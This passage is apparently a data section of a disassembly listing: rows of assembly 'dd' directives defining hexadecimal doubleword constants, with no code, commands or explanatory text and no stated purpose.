		dd 0BE5CB943h, 60E7BF89h, 757DCF8h, 0F617D359h,	8FB25AD8h
		dd 7F93EDF4h, 24C3EAE4h, 1EFA04C6h, 8A2D381Ah, 1ECB1536h
		dd 9A477953h, 6698956Ah, 0EC40126Ch, 4E895769h,	0C682D9B3h
		dd 1926CC48h, 0A5E69881h, 0E243C8E3h, 0A096A70Bh, 32E90BF0h
		dd 0B5E94AFBh, 5E49DD5Eh, 0CA111FD1h, 8C1FE745h, 2E58349Eh
		dd 0B9EE9C3Dh, 37CB8F38h, 7E737A06h, 0B9281E3Ah, 0CDC879B0h
		dd 0DB22AC9Bh, 512BE5C0h, 16A258C5h, 0FF021C09h, 1409C04h
		dd 3EB155EDh, 656EB752h, 6CC8B1D5h, 88762314h, 885705D6h
		dd 0A368DE28h, 0F8969571h, 78F506F0h, 1088FCA8h, 0BC92ABEDh
		dd 988153B1h, 850D75C3h, 333B0DDBh, 9799F462h, 1E1335EBh
		dd 45CB1D03h, 3EF763E8h, 0A6229191h, 0F6229C7h,	9D03E0EDh
		dd 0C482826h, 9F8EDEFEh, 914154F7h, 96676B74h, 541773C5h
		dd 758DC088h, 6C251021h, 0F9601316h, 9806D562h,	38BD68F3h
		dd 0FEEC23Dh, 0DD947850h, 0A1E0813h, 2ADD12A5h,	99AC3F23h
		dd 4829FFFBh, 83B54D0Dh, 232EEED7h, 0F7ADA59Ah,	0E3D48FB7h
		dd 3CF2A6E5h, 0D1828E2h, 3D99D695h, 28405202h, 0C37DE42Ah
		dd 0DE063655h, 878E25A3h, 54209E6Fh, 5B46A9BBh,	10B8AABBh
		dd 23FA76A3h, 52C83452h, 1D9F7FE8h, 58C70CD5h, 0C0777833h
		dd 0A2C9C28Ah, 0E04DD59Bh, 0DD45347h, 0AF6D2335h, 66F9D47Eh
		dd 0FCE5DB82h, 62640DEDh, 0FC50EBE5h, 6CFE6D4Dh, 8D5BBD2Ch
		dd 0E600727Bh, 0B773FC8Ch, 9A507A7Ah, 693D98D3h, 0FD4C98CAh
		dd 3EEF7268h, 1659AF11h, 7E2B5A4Ah, 6800BABBh, 0B7A020AFh
		dd 0C95BD480h, 0FB99BFC6h, 86D84A80h, 9E09FCDCh, 3BA6AE3Dh
		dd 0F5350D24h, 51B59C1Ch, 0B7EB679Dh, 7990BD55h, 0CC10A763h
		dd 4BD7CC57h, 0E784F88Fh, 2E47DAD2h, 0A5E0128Fh, 5F3E2651h
		dd 6C11A9Dh, 0D5E1EE38h, 0D5F61657h, 4A06A62Fh,	6F9BB8E7h
		dd 254C19E2h, 0E3B22511h
		dd 94A35A73h, 82D278C6h, 0C312FE10h, 49155D81h,	1E8BDACEh
		dd 23E8D576h, 9D8A9875h, 5E81BC10h, 0B2ABCC2Eh,	0EA4DE6A7h
		dd 40B4E498h, 1D636C14h, 54CBA6A3h, 0F9A9E59Dh,	0A5D74BFh
		dd 28B8A2C8h, 472AF26h,	8A8EE888h, 8E598448h, 8BEF11E2h
		dd 0A360A098h, 4DB6623Ah, 0A057728Eh, 9B251C1Bh, 0A7206BC3h
		dd 0E9C53A4Fh, 3542BB7Eh, 11003510h, 76823EF4h,	0ABCDFE04h
		dd 0C7E35859h, 5270E11Ah, 0BE84856Ch, 44B5B5D0h, 9483070Ah
		dd 2786C334h, 857489Ch,	6BD096EBh, 1356380Ch, 0CBBB1904h
		dd 860E3DE3h, 3BE394C1h, 2F7B6643h, 0C430ADB7h,	0CD35D888h
		dd 0AA6426A3h, 37D099B1h, 0EFE98139h, 0AEB4A20Bh, 0D46B8A75h
		dd 659F0C86h, 0EDAF45CAh, 33D9844Dh, 1746630Eh,	9807C271h
		dd 0A91B5B51h, 910A02BAh, 0D1CD41CBh, 0CDA9E2BBh, 9A8FDDB3h
		dd 2D27C60Fh, 1B745976h, 5F6E01B5h, 710033B2h, 3207EC98h
		dd 0FD4026Dh, 0FC9C03E5h, 0E7137524h, 306DD8E2h, 0A26D7E9Bh
		dd 7E6CC276h, 3B4A585h,	2D59A05Eh, 0EFB2B785h, 0B30AFE27h
		dd 0F10D2677h, 713DE675h, 7C6603Ch, 70E8893Bh, 0FC711E76h
		dd 9A9ED609h, 0AA00866Fh, 53E3A353h, 0DF956E9Bh, 156D4BA4h
		dd 8518D257h, 0C90E64F6h, 1A41D3FEh, 0DA1334BFh, 30BED09Dh
		dd 8B91C5D6h, 89D3C437h, 6D28B177h, 0E3ED2159h,	78C9D22Fh
		dd 0DBB79DB5h, 0F788FCA4h, 7BE78D66h, 916C20CAh, 50163E4Ah
		dd 8E034DF7h, 4B4B6999h, 0D2909063h, 22364DA2h,	0A446D620h
		dd 8FC053CFh, 8329BB7Fh, 0A8C74F42h, 0B924D842h, 27099394h
		dd 0C7541C50h, 2509C288h, 0EAC20BB0h, 7E3E2850h, 0B24EF656h
		dd 0FC47A5D2h, 0BDA4B0E9h, 8717C8C4h, 0FA4EE62Dh, 5587EE29h
		dd 53050D6h, 0C9B1FB48h, 16DABE1Dh, 38B4A2C3h, 0A81F3790h
		dd 44CA2317h, 78E6C2A9h, 93EC4D59h, 62FB7BBDh, 0ECC327EFh
		dd 1EED89BDh, 0C2EF92F1h, 0A1C4055Eh, 0E40A696Ah, 202E003Dh
		dd 0AC4FD78Ah, 0CF319DB7h, 0E1DE6986h, 0DB1213DEh, 0A265F8B6h
		dd 0C5A94735h, 0C2F14546h, 0C5D5FD7Fh, 0AD57555Dh, 71FEB50Fh
		dd 15682B3Dh, 3B032505h, 146856F2h, 0E3FA604h, 5F60491Ah
		dd 0AB5CE1AEh, 0C0FD6E73h, 75DEC26Fh, 0FF46D2FAh, 0C2DDFBE3h
		dd 0CEB1EB41h, 0B35EB996h, 0D6328FA2h, 0A3C9C52Eh, 0ABA1F9CEh
		dd 0ACE3D1B7h, 0E3938CCEh, 2053F2AAh, 0E2AB83BDh, 2886C2CDh
		dd 0BCD61C77h, 0A17BE01Ah, 0D386B78h, 0E56ACFC3h, 0E0B4434Ah
		dd 8652EEAAh, 2F523228h, 2C5FCCF3h, 51FEE252h, 0F8DB08B9h
		dd 96E4A65h, 9E69D24Dh,	3AB31A89h, 4D6AE303h, 8F0211E8h
		dd 4609E33Fh, 64097EB4h, 0F6246CD3h, 0D2F33D0Dh, 0A1C3691Fh
		dd 0E34AA5E2h, 16F2D49Ch, 37DD095Ch, 631AD85Fh,	0C8EA975Fh
		dd 6FC549BFh, 5515616h,	0D14FE1C7h, 0A70E094Fh,	9CC91F4h
		dd 0EA2E767Ch, 0E0607892h, 23AA0299h, 0E7A473Ch, 0A47B498Eh
		dd 254FC771h, 0E371903Dh, 66ABF7ABh, 1FA3CE4Dh,	0D5FA9FF6h
		dd 80755BB3h, 6ECB8AE4h, 0BD37280Eh, 0CB95139Fh, 0EC223D24h
		dd 617E3D0Bh, 0B9B064Dh, 64A23528h, 3D6CA6EAh, 3564246h
		dd 929F40F9h, 0CC5CE236h, 0E667E221h, 0EF60A54Bh, 419E1293h
		dd 6B2E788Bh, 39C675D7h, 7F92758Dh, 72683DF0h, 0C2763F94h
		dd 0ACE6AC0Fh, 88F008F3h, 8AD5C4C7h, 60DA9CCCh,	8D3D5256h
		dd 22F0DC95h, 0E135A255h, 5FFA80A5h, 70830A19h,	0CA168586h
		dd 0A35FA1F2h, 0B6120059h, 0F0F99878h, 35E65585h, 41098D29h
		dd 7D009F25h, 0DB26033Ch, 624991FFh, 0F9E97AECh, 2897DD4h
		dd 20B8E335h, 0CE7C0C92h, 0C277FD36h, 6421DDDEh, 0C5102834h
		dd 0EEC833F7h, 0BA63E9D1h, 77ED5CCDh, 0B706B52Bh, 587C0D89h
		dd 263F0221h, 8895BF78h, 0D501A731h, 24EA6B70h,	0D8DE0317h
		dd 0AA8F18EBh, 0B620BC9Fh, 5BB5338h, 0F16F5143h, 0D16908EFh
		dd 9FEE7936h, 2FC3755h,	0E37C41C1h, 110E6A7h, 0F03798FEh
		dd 5F91862Eh, 176CF101h, 0A51EC44Eh, 42B479A3h,	6A4FD496h
		dd 1577681Bh, 25856FBh,	21441770h, 457AAC26h, 0F850BCD9h
		dd 1B3B3756h, 0B50E2A58h, 7918AA62h, 67E97AEFh,	2CBC4D23h
		dd 0AE4F5507h, 8262D2DBh, 0FF64CF8Ah, 82E3E106h, 0B3036105h
		dd 0D162ACE5h, 0DFD425FEh, 4CDBD0C9h, 0AC5F963Ch, 7D4783B3h
		dd 8AE4932Ah, 0BB711D77h, 0AF4B6CE9h, 9647225Ah, 7AC38048h
		dd 99ACB79Ah, 0FEFF89D3h, 40FDC1F5h, 8AF4C83Eh,	0BB45A33Ah
		dd 64CD3121h, 26DD83BEh, 0B521B4ADh, 0DC8CB60Ch, 9AE908CFh
		dd 2D89E6A7h, 0C929DB8h, 370A8048h, 15FE1790h, 821916DAh
		dd 8ED65BB6h, 0EC16214Dh, 2CF4E5FAh, 4ECB16B0h,	4C02DEBFh
		dd 77F02FD9h, 0D2DF6195h, 0C1E06358h, 0B3E129C9h, 6A71DE2Eh
		dd 471E123Dh, 8C275FE5h, 5838BC42h, 20A1912Fh, 1278384Ch
		dd 0F9596701h, 0FD193B99h, 0F486D478h, 0A66317F6h, 79383D59h
		dd 0B0C30A4Ch, 19B62BCFh, 9189C05Ah, 0DC24D6D5h, 0AFF845E6h
		dd 4D810EC7h, 4697E3B6h, 43DFCB30h, 1570B816h, 0B8F8DEF7h
		dd 23437D70h, 6833E72Dh, 539EDBC2h, 4B27DDD2h, 0DA6A294Bh
		dd 0BDAD7E31h, 8B4ACF5Dh, 0EE35FA03h, 0BB5F6122h, 23EAA3E1h
		dd 784C645Ch, 515A1CD6h, 9DF9D0AFh, 42B4D405h, 271A64D5h
		dd 8C96EE88h, 0C9C90CDDh, 647C662Dh, 80AA2663h,	48AF072Ah
		dd 0C1D469h, 7EC5A6D4h,	0C668E820h, 1994F3D2h, 0E13095BDh
		dd 9BEE2176h, 0C5CF2A3Ah, 140DB730h, 0B44C9DAAh, 866EDC91h
		dd 47DBADC5h, 6C75CBABh, 50252501h, 0C9959F0h, 9678E960h
		dd 0FEE7B670h, 90040851h, 5E83B9E7h, 3927F043h,	0F61B1F3h
		dd 4C332B5Eh, 411C984Fh, 33C2C8FBh, 15674360h, 0CA4D4FE0h
		dd 1EA7CC53h, 4321FD62h, 65381052h, 5337D7EAh, 0CE6BA0D2h
		dd 0FD019BC8h, 0DCFF5CE8h, 0C9BCB510h, 0B25AEB65h, 8025AC59h
		dd 964508DFh, 83FEF490h, 79BFF197h, 114EA101h, 0A74D018h
		dd 0ADD44C10h, 0D94036F3h, 0B1F1BB46h, 0E72BB8CAh, 75E5B8F0h
		dd 0A5211626h, 5E6C5A6Fh, 0C37E6BC1h, 0E8F49D09h, 94EA9D9Eh
		dd 970325B1h, 5246457Ch, 0F8C9B515h, 0D9AA21F0h, 717172F7h
		dd 18A4B07h, 0A8F916D9h, 0FC484735h, 0F9D35F03h, 0C1B4CD0Ch
		dd 0CA5624B7h, 0CBC3D878h, 7AB1AE51h, 9F9F38B6h, 0EC36C9F1h
		dd 589232D3h, 2982D66Ch, 0C0A29D63h, 4024506h, 1C2845F1h
		dd 497617C0h, 3B77B565h, 52C50245h, 55622993h, 31FC096Ch
		dd 0FB66438Ah, 98D9775h, 8ADCF161h, 0E56E75C9h,	0DBB21AE1h
		dd 9D06BBC7h, 0A22DC3C2h, 0DC47363Bh, 8D2A009Bh, 2D2DD5DFh
		dd 90370194h, 7C7898ABh, 0C7936B8Bh, 5060B046h,	0DD4E9CA8h
		dd 0C90C5E6h, 2E627685h, 2CC16997h, 3B8DCD33h, 0F9514579h
		dd 41E2473Eh, 1F4BCCCDh, 8D668A1Ch, 0F0A91E57h,	0F3C55529h
		dd 0F8BFD745h, 4E28201Ch, 5CCC1EEDh, 3A2BC85Eh,	15A7DE9h
		dd 0C510FFFDh, 0A0AD3BE0h, 0F541BDB9h, 6898E07Eh, 4A44C324h
		dd 9E3E9E28h, 7CB11E81h, 0A0C56335h, 3570F30h, 1E031F2Bh
		dd 0AB2FFABBh, 5D7EA8ABh, 892F92E7h, 0E266759Ah, 63534EAEh
		dd 208F43C8h, 4FC670D3h, 2BA2C305h, 0D1051188h,	9E9DD86Bh
		dd 0B60B3EE9h, 0B37A58EBh, 1A84D5A8h, 30C7B8EEh, 1D309C9Dh
		dd 3851059Fh, 41D21570h, 9CC56D17h, 0A004ED6Bh,	3BD299B4h
		dd 0BC541616h, 6F4110B8h, 14D7B80Ah, 8E476C7Fh,	0E548778Fh
		dd 0CF3790ACh, 9FF4EE22h, 42930694h, 0ED3BAD7Eh, 7613D619h
		dd 904BFBB8h, 36231FAh
		dd 6D94E7h, 0C9F5DAF1h,	39473ECCh, 85D23B46h, 0CF3083C7h
		dd 3D9FE52Bh, 0DCE180D6h, 0E92DAD4Eh, 43F8B503h, 0FC2ED392h
		dd 0BA7C4F20h, 0C92FEC96h, 8C7DB0B4h, 3F8CDC4Eh, 3CA82EB4h
		dd 0BB9D1F8Ah, 0A7970DABh, 0CA335D19h, 0E5CC4570h, 0F4342206h
		dd 0FF93D817h, 0FE6C5C5Fh, 0C2FCA0BAh, 0E9037C2Ch, 6F4364C5h
		dd 4BFC62B6h, 90EF0C49h, 93D6E2C9h, 42F8FE90h, 0B4954102h
		dd 22A53EC3h, 0EA989428h, 5140BCC3h, 0C60EAD8h,	0B549CA0Dh
		dd 33C0FB4Ah, 0C57B0D48h, 0D05D4963h, 1437FFC5h, 0C7D6BBE6h
		dd 80A67947h, 6E3272BEh, 93190306h, 0B0B3CA91h,	0E4F228DEh
		dd 79B24D46h, 0AEE1E518h, 50DC2D6Eh, 4893D0FBh,	803F80DDh
		dd 62CD669Dh, 2E56ED9Dh, 621DDD29h, 214F8C30h, 61DFD912h
		dd 0F84262AAh, 829F53D2h, 59E78963h, 0F53A0799h, 3CF23417h
		dd 0E5A5FD3Ch, 12341420h, 9731655Ah, 29BB033Ch,	248ED147h
		dd 19F2E86h, 80BF256Ah,	8CE3FB7Eh, 1720952Dh, 487E3B5Eh
		dd 25B96354h, 0D2507784h, 0ECB26D27h, 49F1416Eh, 268C6C58h
		dd 0BB76533Bh, 5AA550CCh, 5542A89Bh, 0C45212C1h, 0A3D087D6h
		dd 79A768D9h, 0C966F5E3h, 0A4F596E1h, 0C81B2272h, 1AA094CBh
		dd 987D5765h, 3453A9A2h, 0A67843C5h, 94DE1BD0h,	0E24FBCF7h
		dd 0A16F52B1h, 52CE6F40h, 0DA58C5F7h, 348F0A48h, 875D0655h
		dd 0CB15FE5Ah, 3574796Dh, 21BDEA04h, 33D40FFFh,	354743C5h
		dd 68CD06ADh, 0D8965B9Ch, 0BE7AD4FBh, 0BEA1926Bh, 0AB6B5D5Ch
		dd 0FAEA8F47h, 0CEDEA958h, 196C6879h, 243E4DF6h, 0A669A0CDh
		dd 4DECB129h, 79FE2419h, 7AEC3E10h, 8E53BF0Ah, 99488C03h
		dd 61090EF5h, 0FFA89B3Eh, 427604B6h, 7FF096AAh,	296DE62Ah
		dd 0E58C5881h, 3CF5AE10h, 0CA805FEBh, 4AF98BD5h, 95109D4Bh
		dd 9F678401h, 27F8CC5Fh, 0A41E74C4h, 4A06D1B5h,	0FF36FA5Ah
		dd 0D843B925h, 433A19ECh, 85714CE5h, 5FCE112Bh,	7A6D672Dh
		dd 84AAB5B9h, 0DCAFB10Dh, 0D84FFBDDh, 82DCCF82h, 21A4A029h
		dd 36FBDEACh, 36A18594h, 0A70E539Eh, 0CB1FCDE0h, 1A66BB2Bh
		dd 0D8D42E8Ah, 0A260F2CCh, 0CC603111h, 0C41B62D4h, 9C2218D6h
		dd 9F5AEFFAh, 79CB7D64h, 1692FA7Ah, 0A9BE249Ch,	819E798Bh
		dd 380437C7h, 3CBB5E04h, 451C9AE4h, 2B50897Eh, 857B7799h
		dd 30E707F5h, 4DE14E25h, 6261D632h, 1D2072EFh, 71357A38h
		dd 0D48A5946h, 0E276C804h, 0F685E367h, 66C86EF3h, 520911B8h
		dd 1A781F6h, 0F9AE220Bh, 66D1658Fh, 24594383h, 968E6E8Ch
		dd 2EAEF741h, 0C5545E31h, 9BC15898h, 89CDBD49h,	9434A710h
		dd 9D5AFBCCh, 0DDBE607Ch, 9E39FBA7h, 387AD02Bh,	193FC78Bh
		dd 0AA4F7F63h, 0A5737B63h, 0C70221A3h, 3E15B2h,	0ED23191Dh
		dd 9FA2E0E6h, 0BFDB8CA8h, 23C8F173h, 0B2F73B77h, 0D381595Bh
		dd 21E2701Ah, 23EC03FEh, 0FC16D2CAh, 68166656h,	16AD7B0Bh
		dd 12CFE204h, 0B2027AEh, 7C87F4B1h, 462CB4FEh, 0D779AF96h
		dd 6AB92F68h, 8E4B022Dh, 0ECE7E1BEh, 0C15FE2FCh, 75338F16h
		dd 0D9CEC618h, 99B38C05h, 0A0A5D6C1h, 0DC3F36CBh, 0B0BDCB67h
		dd 94AD4F98h, 7FF44291h, 204C64D5h, 2FB80E48h, 4988A2B3h
		dd 6695C8E7h, 0AA48266Fh, 715321BBh, 0F8D52277h, 94499E4Eh
		dd 0CDC93F9Ah, 93CD0976h, 679D9E84h, 71F521EBh,	9DE02B7Bh
		dd 7B5595Bh, 0E93AE094h, 61B6A169h, 0E6332868h,	2A75D65Ah
		dd 87B84143h, 0F1ACC536h, 0AA6722F6h, 56C6752Fh, 55910978h
		dd 4FD0CCC0h, 12212728h, 0A0DCA9Eh, 0E76774h, 494B6926h
		dd 266FAB1Fh, 4B8CB95Eh, 44F6DAD1h, 0DA04D233h,	47B52189h
		dd 0E42F0F01h, 0F9151C7h, 0E0D0FA94h, 236C13EBh, 0FC5A65D2h
		dd 0CB3D2905h, 0D6E9F234h, 416F42B5h, 5758C6E1h, 9CB41BA1h
		dd 51B80BECh, 0BCF8A8F9h, 69534D9Ch, 0A043EFE1h, 14335BD5h
		dd 7444F302h, 0B565E9E3h, 2B28480Bh, 0F4FE90C7h, 0C1D4D1E3h
		dd 8E22A78Ch, 8B947610h, 91784978h, 889F04Bh, 70ACABD2h
		dd 78D2D4C9h, 2DF9115h,	31B4A110h, 3AC331DCh, 30832928h
		dd 363FFDAh, 0DB31774Dh, 714940EEh, 0F2F8261Fh,	9042FA0Dh
		dd 85A5AEE9h, 5BB2C9BEh, 35339FF8h, 0DAEA69F1h,	0BB26801Ah
		dd 4728E02Eh, 5942021Ch, 14F47605h, 0B91DC88Ch,	2829CEB2h
		dd 0E68EA33h, 0A8062564h, 14082B92h, 1FF2F5BFh,	0E72BEB8Eh
		dd 0BD7B60ADh, 0A063E1CAh, 272535B2h, 27C7AE95h, 6488C5FAh
		dd 356F6CCAh, 0A07F5073h, 604EA71Dh, 43AD0506h,	0C412C407h
		dd 528D633Ah, 7C464FAFh, 4EA34EADh, 74457E17h, 612F5C11h
		dd 0BF930324h, 18A9FD8Bh, 59380613h, 26B3BD69h,	45213B14h
		dd 0CB663FC7h, 0E64CA699h, 8517BFE7h, 4393A1Ah,	0CDD01A71h
		dd 0C115C7C7h, 14C86E72h, 5E47AF14h, 6949EDE0h,	6364C871h
		dd 0BBF2945Bh, 0A682015Ch, 0F6173658h, 2631FC80h, 0A5FCA135h
		dd 0DF850B75h, 676FC564h, 0D96DA3E8h, 0CFC969B9h, 0D1F68F98h
		dd 663DC935h, 0D597BDF0h, 73DB59DFh, 604C3FA1h,	5D49B4ABh
		dd 0A3C5BD3h, 0B8830C78h, 0F8BEA35Eh, 0CFC2C812h, 2568182Ch
		dd 74CF486Ah, 0DED2ABFFh, 3268860Ch, 4E775A76h,	79C1965h
		dd 0AF79283Bh, 1D593287h, 19D71146h, 0A4F07BD2h, 6B1A668Ah
		dd 13B70DAAh, 0E678BD01h, 85CFCD95h, 69E345Ch, 5BAA844Fh
		dd 1BA8AAA5h, 88D111ACh, 0CF8ADF83h, 76B569ECh,	0AD602958h
		dd 51A5F2Dh, 856C962Ah,	0CC3E5F86h, 0E9ABAC61h,	5D6518E1h
		dd 3319C022h, 410CE35Bh, 2E282E94h, 6E20C913h, 3AE3ADE2h
		dd 9431C622h, 6F6285F9h, 0A00B2A7Fh, 8CB40B94h,	0AFB6539Ch
		dd 99401A56h, 7795315Ch, 0D3F8E782h, 707D04ECh,	0AD6F6043h
		dd 0B883EFBFh, 976D62C9h, 0DDA1E965h, 0AB16D45Fh, 8A645C66h
		dd 8C82ABAFh, 50460AF5h, 0AD2BD2B9h, 33D95AF2h,	38A71259h
		dd 6608FFCCh, 0ADDBC850h, 4C962F77h, 0D5BE1202h, 331851A0h
		dd 3D11B801h, 2DD895BEh, 320DA108h, 3DC10B7Fh, 1BCF98A9h
		dd 0E166C3BBh, 0BEB234E0h, 0C120756Fh, 902293D2h, 254039AAh
		dd 178E48BDh, 67569DA2h, 0DD23C986h, 9E8B9F2Fh,	84888E15h
		dd 0BED26E80h, 0E2840855h, 505DBA5Bh, 0C8D29D1Bh, 9503B749h
		dd 0E1DEA929h, 0E038D2Ah, 76EB8CFEh, 11954676h,	0BF3C4F2h
		dd 0ED303C15h, 3BEFE5E4h, 16D40BF6h, 4969A2CCh,	0ACE62719h
		dd 0F507DA24h, 0E389F08Dh, 6AFA0798h, 1A6D2D81h, 0D23CE019h
		dd 2EE5BC95h, 10E87DA5h, 0F834D717h, 0F6242145h, 0BB8424C1h
		dd 0A8B2AF69h, 313FC157h, 0ADAC87C7h, 0C18F08C3h, 8C20350h
		dd 0DFAC74F3h, 6F8BB244h, 0C911CFEh, 4C34195Bh,	0CA9E6E1Fh
		dd 0D41ACC84h, 0D45935Fh, 3E3C4AA3h, 77D43C36h,	0C230207Ch
		dd 4ACA242Ch, 8609CF72h, 585E624h, 8BD6F09Eh, 0E2F60F95h
		dd 556AB2CFh, 93A72B3Ch, 0A8CECF0Bh, 0F27FACF8h, 46BC9C24h
		dd 716B371Eh, 86178DA5h, 8322EFADh, 0D7DD0895h,	61BE5CA7h
		dd 3D979DD6h, 0F9E40246h, 6C17B45Ah, 0BBA95C04h, 16EC1ADBh
		dd 0C331B080h, 9F7ACB0Dh, 876C6259h, 2E5258C6h,	0B4929A8Ah
		dd 0E47175EBh, 960F94A2h, 70175C0h, 0F0EA7C49h,	9423251Fh
		dd 0E41807F6h, 9199518Ah, 0C6E9B68Eh, 0D9B7EDF6h, 7CBD6F22h
		dd 0DE503E07h, 9857AF02h, 0F1CCD27Fh, 5645E257h, 74819037h
		dd 139D5F84h, 23BF898Ah, 5DD3931Eh, 6A578E81h, 5D174261h
		dd 32941653h, 4B2744A9h, 0CC530DE6h, 4AFEC109h,	8DCEFF76h
		dd 2076060Dh, 982AC649h
		dd 68EEC6D4h, 94C34285h, 0BEA4D420h, 0FC56F2EAh, 0DB2FD568h
		dd 0A5C4DB93h, 82B56111h, 0D9267397h, 2BD1B9D9h, 0F2DFFD34h
		dd 58C7E528h, 0F8D43CA0h, 78C34C07h, 9F68463Dh,	0DCE9B8B1h
		dd 721F744Dh, 26DC7018h, 37D4F2D2h, 7D3A3E4h, 0B52EE615h
		dd 53134A7Bh, 5D959BDEh, 941F7D19h, 78BE757h, 7A3817BBh
		dd 0EA8C5BD8h, 0FE9C3E9Eh, 150EE753h, 0DDE0BD2Ch, 54D7A2DEh
		dd 84FBE02Ch, 98ACFF73h, 3AD7B702h, 0E8C3F5C3h,	0DA2D6783h
		dd 2535918h, 3AA57B14h,	31EDFD43h, 76EF5EA9h, 1C1BB6B8h
		dd 0B4761549h, 0FAE42FD9h, 122D97E5h, 58B12E4Bh, 0A78461AEh
		dd 81DF753Dh, 0D5A58BFAh, 0BD2A8BEh, 8F2D7B31h,	0D1B5E800h
		dd 649AA34Eh, 3A38D485h, 0E77FF570h, 3B8A310Eh,	56DB597Ch
		dd 0C6B4FA04h, 0BB66EFF6h, 3A9E703Ch, 0E6BC1F1Bh, 6C3D7AB1h
		dd 47F3A874h, 85983A96h, 61F7F9A4h, 0DD1BC17Ah,	0AE3D4F15h
		dd 0CFDCCBFEh, 19DEBAE9h, 3F833485h, 5BCD653Ah,	0F14DE63Fh
		dd 7EB4E340h, 1DBF34AFh, 60243297h, 0B2CB5FACh,	82647442h
		dd 0A1F7D7A9h, 0B137DCEAh, 0B4B19F9Fh, 0DA6EF70Eh, 0FA6671F2h
		dd 3F2BE3A5h, 0BCE0B928h, 0EF3109A1h, 8DAA0329h, 0C355B3D3h
		dd 6C28AB15h, 0D8B72E58h, 7BA4917Bh, 0F4286Dh, 70651479h
		dd 0E558C38Ah, 596959Dh, 5ADD0964h, 1E9D9955h, 0DBF5F8E0h
		dd 25F85204h, 8CB0AFF6h, 0E800DD7Ch, 0D553F1C7h, 4079B90Dh
		dd 9AD825F0h, 580836BFh, 0C3CE4643h, 113DADC3h,	66C5D693h
		dd 782EA131h, 0B6A840Bh, 564403D7h, 35B8CBF7h, 0AE1C8D2Bh
		dd 4C91A76h, 5785A79Dh,	31D15741h, 1000BCCFh, 0C228B866h
		dd 21011CD3h, 0E3D586A4h, 4696DB51h, 3400FB51h,	8DBB9C7Ah
		dd 6FC6F7F3h, 0F2F84156h, 52D3017Dh, 0FF138F3Bh, 4ED1CDAAh
		dd 0CBBEC765h, 2C933D41h, 36A9B259h, 0ABF117B7h, 3BF360B9h
		dd 1D40AFC8h, 5A9B44FFh, 921790FBh, 0A38083A8h,	5DAF14EFh
		dd 6EAE283Bh, 0F96BEAA1h, 0A60FF12Fh, 0F4CA4C4Bh, 23F05B30h
		dd 0B9268B8Ah, 39B8403Fh, 0C1D9FAE6h, 3FD975Fh,	252FC9F8h
		dd 98CF3FD1h, 0E06906D6h, 0A5F1C322h, 390249D4h, 2A2EE7C3h
		dd 28054C00h, 306686E1h, 0B987333Fh, 9AA5D4D9h,	4D21203Bh
		dd 493E9B1Fh, 1DA348E5h, 0DF0BC924h, 3A7D0E2Ch,	0AC2985EDh
		dd 5452A666h, 0E924239Ch, 0C5A67E69h, 17C81050h, 0AEDB8604h
		dd 5F41300Ch, 18E8B38Fh, 5FA68650h, 3489B7CDh, 116DBBF3h
		dd 0A473EFCDh, 0BA13A78Ah, 69A4BBEFh, 8F498D64h, 13CD122h
		dd 6B93F986h, 0F4503EA6h, 0B74F74D0h, 0F75C0DE4h, 15DFBB6Ah
		dd 7CB47816h, 0BCE2DB47h, 7F87420Ch, 3B3A918Fh,	0A1442A0Dh
		dd 9C3EC672h, 4EE2D201h, 95EF6F5Ch, 91C26F98h, 0C4E453B0h
		dd 0DE4FD0EFh, 0AAEC2C5Ch, 928C55CDh, 8A5C02FFh, 83B696BFh
		dd 24761B6h, 129A60CBh,	2BABD5FEh, 0F0E1A54Eh, 0CEFF6350h
		dd 396DDF29h, 17887446h, 0A0EC59D8h, 198315Bh, 58B203EDh
		dd 10C95AD4h, 0BB061A40h, 9AE1DB69h, 0FAA5E592h, 98D54901h
		dd 996FF60Eh, 0A6947C5h, 207D6D7Fh, 50739AAh, 0AAD850FFh
		dd 0ADCABA48h, 326EB585h, 0EDABD9E2h, 3B11D2Fh,	0C661D1EBh
		dd 0AED9A730h, 994217C9h, 0B810BE24h, 0FECE2C75h, 99DD8945h
		dd 716484ADh, 3DA083A5h, 337BF371h, 4EFA1875h, 0E09204BDh
		dd 0E32A994Bh, 3815655Eh, 596023F5h, 97F46AB2h,	801AEAA8h
		dd 993D8096h, 0F123CE66h, 82391E7Bh, 0A310E2EFh, 280348E2h
		dd 0A2E31E31h, 53161D5Bh, 0FFDDA974h, 63C10B2Dh, 0A71B0201h
		dd 0CA43918Ah, 0E147C035h, 132DB31Ah, 0C02630Eh, 1AC53661h
		dd 0DA4231E7h, 7C35103Ch, 0D16740B5h, 0D3D9DE8Dh, 443B851Ah
		dd 56EC72D0h, 4257DF27h, 7ABA77EDh, 463FAA61h, 93A68288h
		dd 5229BE11h, 75A1F0E7h, 4D21F53Fh, 3B8D49A7h, 66248A01h
		dd 0FF0E25E6h, 9698027Fh, 6504EB1Bh, 1EDC41DCh,	0DD66EA9Ch
		dd 12B357E3h, 0BF8AA396h, 0E427D0CEh, 0A317945Ah, 80D5E0FBh
		dd 0C4B54396h, 52594E48h, 0A4857EFFh, 0C61EA1F4h, 0DA28CE65h
		dd 0EF80779Bh, 0E0BAE23Eh, 93FA6E32h, 18A785CEh, 2B677D4Bh
		dd 44974286h, 0EE168328h, 59984D90h, 0E91536D1h, 0BF9F611Ch
		dd 6CBC8526h, 15F1EA6Eh, 11BA4B45h, 60341CBDh, 0F154192Bh
		dd 5B5F6309h, 84153259h, 168AD8EAh, 0B07E0070h,	0E7C72F41h
		dd 850BE971h, 0A190FBF2h, 0A1FE38E4h, 879F186Ch, 22A4FA7Ch
		dd 6B53A155h, 6186D51h,	0EEA1715Ch, 5D4C42h, 0D3447BC8h
		dd 0F23DD4DDh, 6783EC5Ah, 113760C0h, 0B07F5305h, 811D84A3h
		dd 0DB524B0Bh, 0C837CD36h, 0D43FC5C9h, 1ED2B7FDh, 882F36A4h
		dd 603C3894h, 0DDC40527h, 4E70129Bh, 1B20DF30h,	0DB2EA3D0h
		dd 6D10227h, 4EE21EEh, 838ECECEh, 0BB39F0F2h, 0D1EA3357h
		dd 16FD6E51h, 9F8D6C7h,	0A2FD8D08h, 0DABDA94Bh,	0DC6E95E0h
		dd 0B85B46D1h, 76F94FD8h, 18E45378h, 6BCA0785h,	8A650097h
		dd 603FEE3Dh, 7DF99A11h, 3C21A006h, 49315E22h, 94614EACh
		dd 9BE99E1Eh, 8BD57960h, 0C4645A2Dh, 27A8C4C9h,	3352514h
		dd 536E24C7h, 0F3897EA0h, 554BA0CAh, 0E1D8F288h, 8BC95A0Fh
		dd 329EF1EBh, 8CBEABFAh, 14FDC919h, 90972AAEh, 5B014B7h
